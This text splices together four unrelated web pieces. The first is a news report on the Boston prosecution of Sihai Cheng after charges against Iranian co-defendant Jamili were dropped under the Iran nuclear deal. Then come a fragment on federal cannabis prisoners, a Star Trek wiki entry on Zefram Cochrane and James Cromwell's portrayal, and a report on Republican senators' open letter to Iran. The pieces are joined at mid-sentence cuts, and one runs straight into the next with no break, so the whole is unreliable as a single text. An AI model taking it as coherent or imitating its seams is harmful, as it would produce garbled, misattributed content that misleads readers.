U.S. Secretary of State John Kerry talks with Iranian Foreign Minister Mohammad Javad Zarif, right, after the International Atomic Energy Agency (IAEA) verified that Iran had met all conditions under the nuclear deal in Vienna Jan. 16. (Kevin Lamarque/Pool via AP) U.S. Secretary of State John Kerry talks with Iranian Foreign Minister Mohammad Javad Zarif, right, after the International Atomic Energy Agency (IAEA) verified that Iran had met all conditions under the nuclear deal in Vienna Jan. 16. (Kevin Lamarque/Pool via AP)
BOSTON –President Barack Obama’s landmark nuclear deal with Iran is paying dividends for one criminal defendant charged in U.S. District Court in Boston with helping Iran in its efforts to acquire nuclear weapons.
Not so for the Iranian man’s alleged accomplice, a Chinese national.
In documents filed Jan. 16 in U.S. District Court for the District of Massachusetts, U.S. Attorney Carmen M. Ortiz requested that all 10 charges against Iranian Seyed Abolfazl Shahab Jamili, including exporting highly sensitive U.S. goods with nuclear applications, be dismissed. Ortiz cited “significant foreign policy interests” as the reason for the government’s motion.
According to the original indictment, Jamili and Sihai Cheng procured sensitive technology from an Andover company for use in Tehran’s nuclear weapons program in violation of U.S.-imposed sanctions against Tehran that sought to force the Persian Gulf nation to abandon its nuclear effort.
In December, Cheng, 35, pleaded guilty, court papers show. He is due to be sentenced on Wednesday in Boston, and filings show that prosecutors are looking for a 15-year sentence.
“This dismissal only relates to defendant Jamili and does NOT affect the pending case against Cheng” or the other defendants, Ortiz said.
A lawyer for Cheng has said that Jamili master-minded the plot, but that Jamili was one of the 14 Iranians that the U.S. government agreed to release and/or not prosecute as part of the Iran nuclear deal that took effect Jan. 16.
“There is no doubt that this defendant, Jamili, was the leader of this criminal activity,” Stephen J. Weymouth, Cheng’s Boston-based lawyer, wrote Thursday to Chief Judge Patti B. Saris, who is preparing for the Chinese national’s sentencing hearing in federal court on Wednesday.
“It is also clear that Jamili was in charge in his dealings with Cheng,” the sentencing memo notes. “For example, Jamili would instruct Cheng as to the procedures to be used in shipping the parts.”
“Under these unique circumstances, it is not fair for the government to prosecute Sihai Cheng but not to prosecute Jamili,” Weymouth asserted. “Cheng was hardly the instrumental player that Jamili was in this scheme.”
“Without Jamili there would have been no scheme,” the lawyer said.
Cheng and Jamili were charged in 2013 along with two Iranian companies with “conspiring to export, and exporting, highly-sensitive U.S. manufactured goods with nuclear applications to Iran” from 2009 to 2012, according to the Federal Bureau of Investigation. Authorities in the U.K. arrested Cheng on the U.S. charges when he visited the country in February 2014 while Jamili remained a fugitive.
Along with a third unidentified individual, Cheng and Jamili conspired with others in China and Iran to “illegally obtain” and ship to Tehran hundreds of pressure transducers manufactured by Andover-based MKS Instruments, starting in February 2009, the FBI said in a December 2014 statement. The parts can be incorporated in equipment used to enrich uranium, according to the U.S. Justice Department.
The transducers were illegally exported to China, where Cheng “caused” them to be sent on to Jamili or his Tehran-based employer, Eyvaz Technic Manufacturing, which was also charged in the scheme, the FBI said.
Publicly available pictures show MKS transducers attached to centrifuges in Natanz, an Iranian nuclear complex, the agency said. The centrifuges can convert uranium into weapons-grade material.
Federal law prohibits any shipments of transducers to Iran, while sending them to China requires a special license. Cheng in December admitted to shipping 185 pressure transducers to Iran in 2009 alone, the court filings show.
The Justice Department has said MKS wasn’t a target of the investigation and has cooperated with authorities.
Jamili, Weymouth said, “worked closely with others in connection with the development of nuclear capabilities by Iran for many years, long before February of 2009. The United States government made little if any attempt to extradite either Jamili or the corporate defendants to the United States.”
Jamili told Cheng that the customer for the parts was “ultimately the Iranian government,” according to the sentencing memorandum.
Weymouth also pointed out what he claims has been a double-standard.
“The government has spent years prosecuting Sihai Cheng, and before the prosecution has even reached its conclusion, the United States government has moved to dismiss the indictment against the most culpable defendant, Jamili, based on ‘significant foreign policy issues,’” Weymouth wrote.
In pleading to limit his client’s punishment to the 24 months he has already served in prison, Weymouth said Cheng was “caught in the middle between Iran and the United States and China” and noted that the Iran deal has taken effect.
“There is no longer any need to continue to punish Sihai Cheng,” Weymouth wrote.
“The requested sentence, time served, is fair, sufficient and required under the circumstances of this case.”
Christina Diorio-Sterling, an Ortiz spokeswoman, didn’t respond to a request for comment.
Reached Monday evening, Weymouth said Cheng’s involvement was purely for financial gain, while Jamili’s motive was more nationalistic.
“They’re really out to hammer him,” Weymouth said about Cheng. The federal prosecutors, the lawyer said, “want the country to know how bad he is but the real bad guy is the one the government cut loose.”
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commentsAfter victories in Colorado, Washington, and Massachusetts, cannabis reform advocates have a lot to celebrate. But, with an annual estimate of 850,000 cannabis arrests, the fight to end the War on Cannabis is far from over. After all, 36 states and the federal government still incarcerate people for simple possession of cannabis. Last year, in a policy no longer supported by the voters, the feds locked up more than 100 people for simple possession alone.
“Thanksgiving is upon us and X-MASS right behind. Hard to believe but its my 4th set of holidays in prison. Sure hope Santa brings good news and I get out soon,” says federal pot prisoner Eddy Lepp, in his weekly letter to supporters.
Lepp is part of a smaller subgroup of arrestee’s, the more than 6200 people sentenced to mandatory minimum sentences for marijuana cultivation and sales each year. Lepp is a well-known medical cannabis advocate, and some would say, a boundary pushing dreamer. Back in 2004, he was arrested by the feds for openly cultivating several acres of medical cannabis for patients in Lake County, California. Now, he will spend ten years locked up in a federal penitentiary, unless advocates can change the laws faster.
Green Aid, an Oakland, California, based nonprofit group, helps cannabis arrestees and prisoners, like Lepp, who are caught between state laws that legalize cannabis and the “zero-tolerance” federal laws. A former pot prisoner himself, Rosenthal was arrested for cannabis cultivation in 2002, and fought back against a 20-year mandatory sentence. Ultimately spending only |
camera lens, though its use at first caused him to appear strange. "When Cochrane entered the foreground and ran toward the group at the [shuttle]craft, it seemed as if he had on seven league boots; he was covering what seemed like a football field distance in about five paces," explained the episode's director, Ralph Senensky. "I solved this by filming his approach from several angles, which were then joined together in the editing room." [2]
Film re-creation Edit
Rewriting the character Edit
The decision to include Zefram Cochrane in the film Star Trek: First Contact was preceded by the movies' writers choosing to set the story at a time when they could also feature Humans and Vulcans making first contact with one another. "Lo and behold, we looked around and found Zefram Cochrane sitting around the same time period," recollected co-writer Ronald D. Moore. (Captains' Logs Supplemental - The Unauthorized Guide to the New Trek Voyages, p. 171) Rick Berman, who worked on the film as producer and story co-writer, concurred, "We realized where our story was going and that we could marry those elements [Cochrane and Humanity's first warp flights] into the story." (Cinefantastique, Vol. 28, No. 6, p. 21)
How to depict Cochrane in the movie was a subject of much debate among the writers, including Ronald D. Moore, who later recalled, "We had very long discussions about who Cochrane was and who he should be in this film. And what we decided was you wanted to see a transition. You wanna see an arc for the character." (audio commentary, Star Trek: First Contact Special Edition/Blu-ray) The writers also chose to significantly vary the film's depiction of Cochrane from how he had been established in "Metamorphosis". "We decided to take a lot of liberty with the Original Series character, and we created a new character," declared co-writer Brannon Braga, "because the character we meet in this film is very different [....] We kind of ignored, to some degree, the Cochrane from the original series." ("The Legacy of Zefram Cochrane" documentary featurette, Star Trek: First Contact Special Edition/Blu-ray) Rick Berman revealed that the writers did a lot of research into the "very vague history" that had been established about Cochrane and the initial warp flights. He went on to clarify, "We attempted to stay close to what we perceived as being the way Gene [Roddenberry] had wanted to set it in motion, but we took some liberties too." (Cinefantastique, Vol. 28, No. 6, p. 21)
Even though it had been established in "Metamorphosis" that Cochrane was somewhat familiar with Vulcans, that episode makes no mention of Cochrane's involvement in Earth's first contact with the species. The idea that the event took place immediately after Cochrane's first warp flight – a sequence of incidents first established in the film First Contact – was preempted by the Star Trek: The Next Generation episode "First Contact"; that installment revealed that the Federation customarily initiated first contact only with species that were evidently on the cusp of originating warp drive. The movie First Contact also established, for the first time, Cochrane's qualification as a doctor (having been addressed by Kirk as "Mister Cochrane" in "Metamorphosis").
In the first draft script for First Contact, Dr. Cochrane was wounded in the Borg attack. An introductory description of him read, "He has a youthful, dynamic appearance marred by recent radiation burns." Much of the plot also dealt with Cochrane receiving urgent medical treatment in a hospital, comatose throughout much of the script. Out of action even for a while after he regained consciousness, he let Captain Picard secretly pilot the Phoenix rather than himself, wishing he could make the flight too. It was also said he was "touched" by Geordi La Forge paying him "obvious respect." Cochrane went on to make first contact with the Vulcans, much as he does in the film's final version. [3]
Although the writers thought Cochrane was one of the elements that worked successfully in the first script draft, they decided to adjust the character. "Let's get simple. Bring Cochrane into the story," stated Ronald D. Moore. "Let's make him an interesting fellow, and it could say something about the birth of the Federation. The future that Gene Roddenberry envisioned is born out of this very flawed man, who is not larger than life but an ordinary flawed Human being." (Star Trek: The Next Generation Companion, 3rd ed., p. 323) Brannon Braga concurred, "We realized in subsequent drafts that this is an interesting character. You kind of want to meet the guy. He's such a critical part of history. One of the things that we thought was an interesting idea was that if you went back in history [...] to meet one of your heroes [...] you might find meeting them in person, smelling the environment they lived in, and really just being there, very different from reading about it. We thought it would be cool if the man who basically ushered in a new era of humanity was motivated by things that were antithetical to Star Trek." (The Making of Star Trek: First Contact, p. 16)
Having discarded the concept of Cochrane changing by being revived, the writers now dealt with their impulse to have Cochrane undergo a character arc, in the course of the movie, by attempting to imply that he becomes the man whom the Enterprise-E crew expects him to be. (The Making of Star Trek: First Contact, p. 16) Ronald D. Moore noted, "In that man, by the end of the picture you see the transition of humanity from petty and small-minded to reaching out to the stars and actually bridging the gap between us and 24th-century man." (Cinefantastique, Vol. 28, No. 6, p. 21) As such, both Moore and Brannon Braga described Cochrane, by the end of the movie, as having become "a Roddenberry person." (audio commentary, Star Trek: First Contact Special Edition/Blu-ray) Alternatively, Rick Berman once stated that, at the end of the film, Cochrane "was far from a Gene Roddenberry human." Berman backed up this statement by pointing out that "when we last saw Zefram Cochrane [...] he was drinking whiskey with some Vulcans." (Star Trek: Communicator issue 134, p. 13)
Not only has the degree to which Cochrane fitted into the character mold of a near-perfect future Human envisioned by Gene Roddenberry been questioned, but the character's similarities to the Star Trek creator himself have also come under occasional discussion. For instance, Anthony Pascale said, "I always felt that the way they treated Cochrane is kind of like Roddenberry. Roddenberry's revered as this god-like visionary, but Gene Roddenberry was a Human being with flaws, you know, but that doesn't mean he isn't also a great man and a great visionary." Damon Lindelof similarly likened Cochrane, in a scene where Lieutenant Reginald Barclay is overjoyed to meet him, to Gene Roddenberry being met by an enthusiastic fan. (audio commentary, Star Trek: First Contact 2009 DVD/Blu-ray)
Ronald D. Moore and Brannon Braga were highly pleased with how they ultimately wrote Cochrane. Said Moore, "Cochrane became a really cool character who I think the audience can identify with a little bit." (Cinefantastique, Vol. 28, No. 6, p. 21) Braga perceived that writing Cochrane as such a flawed character "made for more interesting drama in the film." ("The Legacy of Zefram Cochrane" documentary featurette, Star Trek: First Contact Special Edition/Blu-ray)
Both Brannon Braga and Picard actor Patrick Stewart likened Cochrane to the Wright brothers. Commented Stewart, "He represents, to the post-21st century, what perhaps the Wright brothers, the aviators, represent to us in the 20th century." (The Making of Star Trek: First Contact, p. 16; The Making of Star Trek: First Contact (documentary)) Stewart also felt Cochrane, as presented in First Contact, was imbued with "gritty reality and humor." Another strength of the character, in Stewart's opinion, was that Cochrane challenged the actions, beliefs, and virtue of the regular TNG characters who were in the film. (Fade In - The Writing of Star Trek: Insurrection)
Damon Lindelof opined that showing the highly esteemed Cochrane as actually alcoholic and eccentric is an example of "one great convention of time-travel movies" and "sort of a touchstone of what Moore and Braga did on the series and are doing in the movie, which is, you know, character first, character first, character first." Lindelof also noticed that, in common with the character of Lily Sloane, Cochrane serves as "a conduit for the audience," as he is at first unfamiliar with the Enterprise-E crew and their indigenous time period of the 24th century. (audio commentary, Star Trek: First Contact 2009 DVD/Blu-ray)
Recasting the role Edit
Even though James Cromwell didn't match the look of the Original Series Cochrane, casting a performer with a likeness to that representation was not a priority for the production staff. "That didn't interest us," Rick Berman admitted. (Cinefantastique, Vol. 28, No. 6, p. 29) In fact, the role in the movie was written for Cromwell to play. Rick Berman stated, "When we were creating the character, we always had Jamie in our heads." (The Making of Star Trek: First Contact) Berman told Cromwell the writers had written the part specifically for him, because he was in their minds from the Star Trek guest appearances he had done. (Star Trek: Communicator issue 111, p. 71) Due to the actor gaining celebrity for his presence in the film Babe, the production personnel were at one point somewhat worried that Cromwell might not be available. "We were afraid he was going to be out of our price range," explained Berman. "But it all worked out." (Star Trek: Communicator issue 108, p. 7) Additionally, Berman said, "Because we had worked with him on a number of occasions, we were delighted when he did, in fact, take the role." (The Making of Star Trek: First Contact)
Even though the part had been written for him, James Cromwell auditioned for the role. Upon doing so, he was asked to perform a later-excised scene wherein Cochrane attempted to commit suicide by jumping off the edge of a cliff, only for his descent to be stopped in midair by a force field Geordi La Forge had rigged up. The actor cast his memory back to his performance; "I stood on the edge of a chair, and when it came time to fall, I lay down across the chair which got a real hoot out of everybody!" (Star Trek: Communicator issue 111, p. 71) Cromwell's audition was indeed highly successful. "He nailed it," Director Jonathan Frakes raved. "He left Berman and me with our jaws in our laps." (Star Trek: The Next Generation Companion, p. 325)
Academy Award-winning actor Tom Hanks was briefly considered to play Cochrane in First Contact (requested by then-Chairwoman of Paramount Pictures Sherry Lansing), but James Cromwell was ultimately confirmed for the role – much to the relief of both he and Rick Berman – after it was determined that the film's production wouldn't fit into Hanks' scheduling. According to Berman, the role would have needed to be considerably rewritten if Hanks had been able to accomplish it. (Star Trek: Communicator issue 111, p. 71)
Having an interest and belief in the existence of extraterrestrials, James Cromwell was thrilled to be cast as Cochrane. (The Making of Star Trek: First Contact, p. 41) The actor later emphasized, "I thought it was so serendipitous and extraordinary that I should have this interest and make this film. I'm looking forward to seeing whether this is all part of a plan. I think it's intriguing." (Cinefantastique, Vol. 28, No. 6, p. 30) Cromwell also enthused, "The character was very well-written, and he had wonderful things to do. What intrigued me was the first contact idea [....] So that was a lot of fun." Cromwell's participation was also valued by Rick Berman, who explained, "He seemed to be the perfect character to play Cochrane because we were looking for somebody who was exactly opposite what people would think [....] Jamie was perfect, and he was available and interested in doing it, and we were lucky from day one." ("The Legacy of Zefram Cochrane" documentary featurette, Star Trek: First Contact Special Edition/Blu-ray)
Costuming for movie Edit
Of all the costumes in First Contact, Costume Designer Deborah Everton felt she was given the most freedom to design Cochrane's clothing. "Even though he's so established in the lore of Star Trek, he's not a character with which we're really familiar," she mused. "I could really go to town on him and take his character pretty far out." (Star Trek: Communicator issue 109, p. 52) Given that Cochrane had been written as an eccentric genius famed for being a pivotal figure in Human history, Everton wanted to represent the character's kookiness in his costuming, without making him too repulsive to the film's audience. "I wanted to bring out a lovable, quirky quality about him," she noted. (The Making of Star Trek: First Contact, p. 80) Cochrane's clothing ended up as a reflection of his personality, a mix of practicality and flamboyance, and encompassed a large sheepskin coat for outdoor scenes. One alternative costume layout for the character was designed by Everton, illustrated in a concept sketch, but not used. Yet another sketch of Cochrane demonstrated a blue-colored spacesuit, worn, in the movie, by not only him but also Riker and La Forge. (Star Trek: The Magazine Volume 1, Issue 13, pp. 68 & 69)
The inclusion of a distinctive-looking hat was at the request of Rick Berman, after Deborah Everton had incorporated the headgear in her original sketch for Cochrane's costume. (The Making of Star Trek: First Contact, p. 81) Further sketches focusing just on the cap were carefully completed, but the headpiece eventually received more decoration around its rim. The cap, featuring more decorative studs around the outer edge, was also illustrated in the sketch of Cochrane wearing a spacesuit. (Star Trek: The Magazine Volume 1, Issue 13, p. 69) Everton reflected, "Rick Berman kept liking this hat – every time he would see it on one of the illustrations, it was 'God, I really like that hat!' So when I made it for Cochrane, I wanted to make it sort of funkier, as a character thing." (The Making of Star Trek: First Contact, p. 81)
James Cromwell was grateful that Cochrane's costumes included a heavy wool coat that he was able to wear while filming on location in frosty cold night conditions. (Star Trek Monthly issue 22, p. 34) He was especially pleased that the costuming did not cover him up as much as he had been, by prosthetics, in his previous Star Trek roles, later remarking, "It was really nice to play someone where you can use what physicality you have and your expressiveness to give him life. When you're in a costume that covers every part of you, that's really a matter of somebody else's imagination dictating what your outer form is. I loved Cochrane's costume because it let me be me, or let me play Cochrane." (Starlog issue #234, p. 41) Jonathan Frakes was also pleased with the clothes Cochrane wears in the film, characterizing them as "great costumes." (audio commentary, Star Trek: First Contact Special Edition/Blu-ray)
On the other hand, the costuming for Cochrane proved baffling to others. For example, Brannon Braga once admitted, "I always meant to ask Deborah Everton, 'What was that hat that he was wearing?'" (audio commentary, Star Trek: First Contact Special Edition/Blu-ray) Cochrane's neck-scarf likewise puzzled Damon Lindelof and Anthony Pascale, though the latter hypothesized that Cochrane wearing it might be an attempt to hide a scar. (audio commentary, Star Trek: First Contact 2009 DVD/Blu-ray)
Second portrayal Edit
James Cromwell purposely did not watch Glenn Corbett's presentment of Cochrane, prior to playing the character himself. "I didn't feel as if I were dealing with a historical character," Cromwell expressed. "I suppose that I am to some degree, at least in the eyes of some Trekkies, because Corbett played the role before I did. I just felt that what I wanted to do was to give my interpretation of what the writers of First Contact wrote as a character. I didn't need or want any outside assistance as to what somebody else had done with the same fellow." (Starlog issue #234, p. 40)
James Cromwell found it easy to appear in the movie role. "They just let me play it as it was written," he said. "And I looked at him as just me. A guy who is overwhelmed, horny, fun-loving and self-deprecating, which is me." With a laugh, Cromwell added, "Except that he happens to be an alcoholic." (Star Trek: Communicator issue 111, p. 70) Cromwell also characterized the somewhat "maverick" Cromwell as "a throwback to the 1960s" and "actually the guy who starts Star Trek." (The Making of Star Trek: First Contact) The actor related, "The character came alive for me. Instead of having to play a legend, what I had to play was someone who was reluctant to become a legend. That's immanently playable. It's very hard to play a legend, but it's not so hard to play when you have an action. He had a very strong action, which was that it frightened, confused, confounded and disturbed him." (Star Trek Monthly issue 22, p. 33)
Jonathan Frakes postulated that James Cromwell's stability with playing the part added to the characterization, as did him having great physical ease, especially considering his extreme height. "I think it made him... or made the character more Human and more attractive, because of the way Cromwell tackled the part," Frakes commented. "Instead of playing it with this sort of straitlaced respect, it was played with a wonderful casualness." (audio commentary, Star Trek: First Contact Special Edition/Blu-ray)
One particular element of the story in which Cromwell found difficulty with portraying Cochrane is when the character is finally involved in the actual first contact with the Vulcans. Noted the actor, "All I had to do was say, 'It's real, it's real, it's real.' And I kept on saying to myself, 'What would it look like? What would I do? Would I perspire? Would I shake?' and I thought, 'God, the real thing is that you don't know what you'll do when it actually happens.'" (The Making of Star Trek: First Contact, p. 110)
Even though Cochrane was instrumental in the construction of the Phoenix, James Cromwell never saw the missile that, in the movie, supposedly delivers the prototype warp ship into space. (Star Trek Monthly issue 22, pp. 33-34)
Ultimately, Jonathan Frakes deemed James Cromwell as having been "brilliant in this role." (audio commentary, Star Trek: First Contact Special Edition/Blu-ray) Patrick Stewart concurred that Cromwell was "perfect" as Cochrane. (Fade In: The Writing of Star Trek: Insurrection) Ronald D. Moore likewise concluded that Cochrane's transformation into "a really cool character," slightly identifiable to the audience, was "once we married [the metamorphosis which the character is implied as going through, during the course of the film] [...] with James Cromwell." (Cinefantastique, Vol. 28, No. 6, p. 21)
Later references and appearances Edit
In the first draft script of DS9: "Rejoined", Jadzia Dax referenced Zefram Cochrane, excitedly remarking that an experimental technique to create artificial wormholes "could be the most important advance in space travel since Zefram Cochrane invented the warp drive."
Cochrane was additionally mentioned in the series bible for Star Trek: Enterprise. That document noted that he was idolized by Jonathan Archer. [4] (X)
The only physical description of Cochrane in the final revised draft script for the pilot episode of Enterprise, "Broken Bow", was the word "elderly." [5] In that episode, Cochrane was once again played by James Cromwell. As he had become a relatively big movie star by then, Star Trek's production personnel had to pull in a favor for him to reprise the role. This task was facilitated by Junie Lowry-Johnson, a big fan of Cromwell's who helped cast both First Contact and "Broken Bow". Rick Berman said of Cromwell's return as Cochrane, "It was interesting to get [him] [....] He was very gracious and did it." ("Broken Bow" audio commentary, ENT Season 1 DVD special features) Elaborated Berman, "We just needed him for a day [...] and he was sweet enough to come and do it for us in our pilot." ("The Legacy of Zefram Cochrane" documentary featurette, Star Trek: First Contact Special Edition/Blu-ray) Cochrane's scene in "Broken Bow" was scheduled to be filmed on 20 June 2001, on Paramount Stage 16, but actually ended up being shot there two days later, on 22 June. That morning, Cromwell reported to the makeup department at 7:30 a.m. Makeup and hair-styling were applied to give him an old-age look. He was due on set at 10:30 a.m., though he actually arrived on set sometime between 10:15 and 10:30 a.m. He had no meals during his visit to Paramount and was dismissed from the set at 11:30 a.m. Removal of his makeup then took fifteen minutes. ("Broken Bow" shooting schedule, call sheets & production reports) The suit that Cromwell wore to appear as Cochrane in "Broken Bow" was ultimately sold in the It's A Wrap! sale and auction. [6]
In the final draft script of ENT Season 2 outing "First Flight", Cochrane was referred to in a scene description, in connection with a similarity between the cockpits of the Phoenix and NX-Alpha.
At one stage, Rick Berman was noncommittal about continuing to feature Zefram Cochrane's history in Enterprise, addressing such details as his involvement in the Warp 5 project, his association with Henry Archer, and his eventual disappearance. Shortly after Berman finished work on the making of the second season, he said, "We have not ruled out telling more stories that further Cochrane's story, but we also don't have anything planned in the immediate future." (Star Trek Monthly issue 106, p. 18)
Footage of James Cromwell (as Zefram Cochrane greeting the Vulcans) was reused, with Cromwell's consent, at the beginning of "In a Mirror, Darkly". ("In a Mirror, Darkly" audio commentary, ENT Season 4 DVD special features) While the final draft script for that episode made it clear the footage was to be reused (dictating Cochrane's physical appearance), the teleplay didn't make any outright statement that the version of Cochrane seen in that episode was actually from the mirror universe.
Age and physical appearance Edit
↑ According to "Metamorphosis", Cochrane was eighty-seven years old when he arrived on Gamma Canaris N, 150 years before 2267, suggesting he was born in the year 2030 and disappeared in 2117. A library computer file in "In a Mirror, Darkly, Part II" uses these years, and this correlates with information provided in the Star Trek Chronology (2nd ed., p. 26) and the Star Trek Encyclopedia (3rd ed., p. 80). However, according to the recording of the dedication of the Warp Five Complex in "Broken Bow", Cochrane was still on Earth in 2119, establishing that the "hundred and fifty years" proposed in "Metamorphosis" was not given as an exact figure and making his earliest possible year of birth 2032. (Star Trek Encyclopedia (4th ed., vol. 1, p. 149)) According to Star Trek: Star Charts (p. 61), Zefram Cochrane left Earth in 2120, suggesting a year of birth in 2033.
The first draft script of Star Trek: First Contact, set in 2063, described Cochrane as "a man in his mid-forties." [7] However, James Cromwell was fifty-six years old during the production of the film, the final version of which is also set in 2063, meaning that the character is supposedly in his early thirties during the events of the film. The Star Trek Encyclopedia (3rd ed., p. 81) accounted for this discrepancy by speculating that Cochrane's aged appearance in the movie was the result of radiation poisoning.
Theories Edit
At one stage, Star Trek writer and science consultant André Bormanis supposed that Cochrane may have discovered a source of dilithium crystals deep in the Earth's crust and might have invented the formula for verterium cortenide from which the Phoenix's warp coils were then fashioned. (Star Trek: The Magazine Volume 2, Issue 7, pp. 43 & 44) In contrast, according to the earlier Star Fleet Medical Reference Manual (p. 17), dilithium was first discovered in 2049, from the fifth moon of Jupiter.
Brannon Braga once speculated that Cochrane "probably is instrumental in the formation of Starfleet." ("The Legacy of Zefram Cochrane" documentary featurette, Star Trek: First Contact Special Edition/Blu-ray)
James Cromwell has theorized that, prior to the first flight of the Phoenix, Cochrane had not planned to take the prototype warp craft into space himself, being merely a scientist and having never flown in space before. Proposing that the version of events demonstrated in First Contact constitute an alternate timeline, Cromwell went on to say, "Obviously, he does take it up himself, so something was supposed to happen, and in reality he would have made the choice anyway. Since they [the Enterprise-E crew] come back a little earlier than he had made that choice, he is frightened." (Cinefantastique, Vol. 28, No. 6, pp. 29-30)
Likewise, in an audio commentary for First Contact available on the film's Blu-ray and 2009 DVD releases, Anthony Pascale supposed that, prior to encountering the Enterprise-E crew, Cochrane "must have read a journal about time travel in Scientific American, maybe before the Third World War, or something."
Trivia Edit
In "The Big Goodbye", an illustration of Zefram Cochrane can be seen when Data is assimilating the Dixon Hill novels. This illustration was from the FASA RPG module The Federation.
Cochrane's first name was consistently spelled "Zephram" in the first draft script of Star Trek: First Contact as well as the call sheets from the production of "Broken Bow", and the final draft scripts of ENT: "Carbon Creek", "Singularity", "Future Tense", and "Horizon". [8] [9] Similarly, in the film's credits, the character's surname is misspelled "Cochran". The final draft scripts of ENT: "Regeneration" and "Anomaly" spelled the character's full name "Zefram Cochrane".
Cochrane was mentioned in a scene deleted from Star Trek Nemesis, in which Picard quoted Cochrane as having said, "To seek out new life and new civilizations."
Cochrane is the only character to utter the phrase "star trek" in the franchise, which he does in First Contact, although Q does use the phrase "trek through the stars" in the Star Trek: The Next Generation series finale, "All Good Things...". The prospect of somehow working the phrase "star trek" into the franchise had been a secret fantasy of Rick Berman's for about the past eight years, but had proven challenging to carry out due to the oddness of the phrase. Brannon Braga offered, "We went round and round about that, [contemplating] whether it should just be 'trek,''star journey' [or something else]." (audio commentary, Star Trek: First Contact Special Edition/Blu-ray) James Cromwell was conscious of whether the line sounded like a natural or intentional reference, stating, "Hopefully it came out [...] as, you know, searching for an idea." Cromwell believed that Cochrane saying the line while in a forested area helped make the reference sound natural, interesting, and somewhat fitting. ("The Legacy of Zefram Cochrane" documentary featurette, Star Trek: First Contact Special Edition/Blu-ray) However, audience response to the line, when the film was exhibited in movie theaters, was not only sometimes laughter but also occasionally groans. (audio commentary, Star Trek: First Contact Special Edition/Blu-ray)
The first season South Park episode "Damien" references a line spoken by Cochrane in First Contact: "Don't try to be a great man, just be a man." (AOL chat, 1998)
Apocrypha Edit
In the novelization of "Metamorphosis" (as adapted by James Blish in Star Trek 7), Cochrane made mention of having been on Vulcan and professed, "I was always pretty much of a loner. Spent years in space by myself." After Spock outlined that he had concluded the Companion's homeworld was once a moon of some now-destroyed larger celestial body and was colonized by a highly advanced civilization, Cochrane agreed and attested that he had found some artifacts that corroborated these theories.
In the novelization of First Contact, it was suggested that Cochrane's alcoholism was not his only issue. He also suffered from bipolar disorder, a condition that had been treated with a cerebral implant that delivered the necessary medications. After World War III, however, Cochrane was unable to find either a way to refill the implant, nor a suitable replacement, so he took to self-medicating with alcohol. The crew of the Enterprise-E was able to stabilize his condition enough for him to complete his work on the Phoenix, and Beverly Crusher cured the disorder permanently, shortly before returning to the Enterprise. In addition, this novelization specified that Cochrane was born in the year 2013, as opposed to 2030 or 2032, which would be more consistent with actor James Cromwell's real-life age and countenance in the film.
The reasoning for Cochrane having a far more weathered and older appearance than his natural age had often been given in non-canon literature (most notably the Pocket Books novel Federation) as being a result of him suffering from radiation poisoning. In the comics story "A Warp in Space" (printed as the forty-ninth issue of Gold Key TOS), Cochrane was shown as an elderly-looking man, even in flashback events from "Metamorphosis", with no explanation given for the change in his appearance.
The novel First Frontier divulged that Cochrane accidentally stumbled on the secrets of the warp drive and that he had originally been looking for something else, though it was never indicated what he had been looking for, exactly.
A lot of the Star Trek literature of the 1980s describes Cochrane as a native of Alpha Centauri, which is inhabited by Preserver-transplanted Humans. The novel Memory Prime explains that "Zefram Cochrane" is an anglicized version of his true name: "Zeyafram Co'akran". FASA's RPG sourcebook The Federation gives his full name as "Zephram Edark Cochrane".Senate Foreign Relations Committee chairman Bob Corker briefs reporters about nuclear negotiations with Iran and other policy issues at a Republican congressional retreat on January 15, 2015, in Hershey, Pennsylvania. Photo by Michael Mathes for Agence France-Presse.
The unity that Republicans briefly enjoyed by sending an open letter to Iran in an attempt to disrupt a nuclear deal has cracked, as several conservative congressmen and media outlets described the letter as a folly.
Senator Bob Corker, one of the few Republicans in the chamber who did not sign the letter, told the Daily Beast that he “immediately knew that it was not something that, for me anyway, in my particular role, was going to be constructive”.
“I didn’t think it was going to further our efforts to get to a place where Congress would play the appropriate role that it should on Iran,” he said.
Senator Jeff Flake and hawkish representative Peter King also called the wisdom of the letter into question. King told reporters on Tuesday he thought the letter set a poor precedent: “I don’t trust the president on this, quite frankly, though I don’t know if I’d go public with it to a foreign government.”
Related: Republican Iran letter not the action of ‘reasonable people’, says Clinton
Flake said the letter was “not appropriate or productive”, and that the matter of Iran’s nuclear capabilities is “too important to divide us among partisan lines”.
Flake’s comments echoed those of Democrats who continued to excoriate Republicans over the letter. Senator Debbie Stabenow took to the chamber floor to quote former senator Arthur Vandenberg, a Republican during the second world war who she said “loathed” president Franklin D Roosevelt.
“‘Politics stops at the water’s edge,’” Stabenow quoted Vandenberg. “I can only imagine what senator Vandenberg would say if he were alive today,” she said, about Republicans who had “decided to throw away 70 years of wisdom and stand on the side of the ayatollahs”.
Florida Democrat Bill Nelson also urged Republicans to keep perspective: “We can disagree about the specifics but we still have to honor the institution of the presidency, and when it becomes matters of war and peace then we’ve got to unify.”
The letter to Iran, designed to undermine nuclear program negotiations between the Obama administration, Tehran and European powers, was signed by 47 of 54 Republican senators. The issue, underscored by a speech to Congress by Israeli prime minister Binyamin Netanyahu – at Republicans’ invitation – that railed against the deal, allowed Republicans to briefly unite on a policy point. The party has otherwise been riven by conservative and libertarian factions who disagree about issues such immigration, the economy and foreign intervention.
But the condescending tone of the letter, which suggested that Iranians do not understand the American political process, provoked harsh words from both the Obama administration and even Iran’s foreign minister.
The minister, Mohammad Javad Zarif, called the letter a “propaganda ploy” and derided Republicans for failing to understand international and US law. Harvard law professor Jack Goldsmith notes that Zarif has a valid point : the letter incorrectly states that the Senate has the power to ratify treaties, which it does not – a fact stated even on the Senate’s own website.
President Obama said that the letter put Republican senators in an “unusual coalition”, saying: “It’s somewhat ironic to see some members of Congress wanting to make common cause with the hardliners in Iran.” Vice-president Joe Biden said the the letter was “beneath the dignity of the institution I revere”.
Conservative media sources such as the Wall Street Journal and Fox News, both owned by Rupert Murdoch, also shied away from the letter. The Journal’s editors published an editorial calling the letter a “distraction ”. Fox host Megyn Kelly asked Senator Tom Cotton, the letter’s author: “What’s the point in writing to the Iranian mullahs?”
“They dismissed it already,” she pressed, “you’ve offended the Obama administration and you may have offended some of the Democrats who would have come over with the Republicans depending on what happens with this deal, to have a stronger say in the Senate.”
In Iran, even ayatollah Mahmoud Shahroudi suggested that negotiations deserve a chance to succeed, according to state-owned the Islamic Republic News Agency. Iranian officials “are seeking to advance national interests and we support them”, Shahroudi said in a statement.
Shahroudi’s support reiterates Zarif’s position, which finds Republican intransigence “unfortunate” but is still “certain that there are measures to achieve such a deal”.
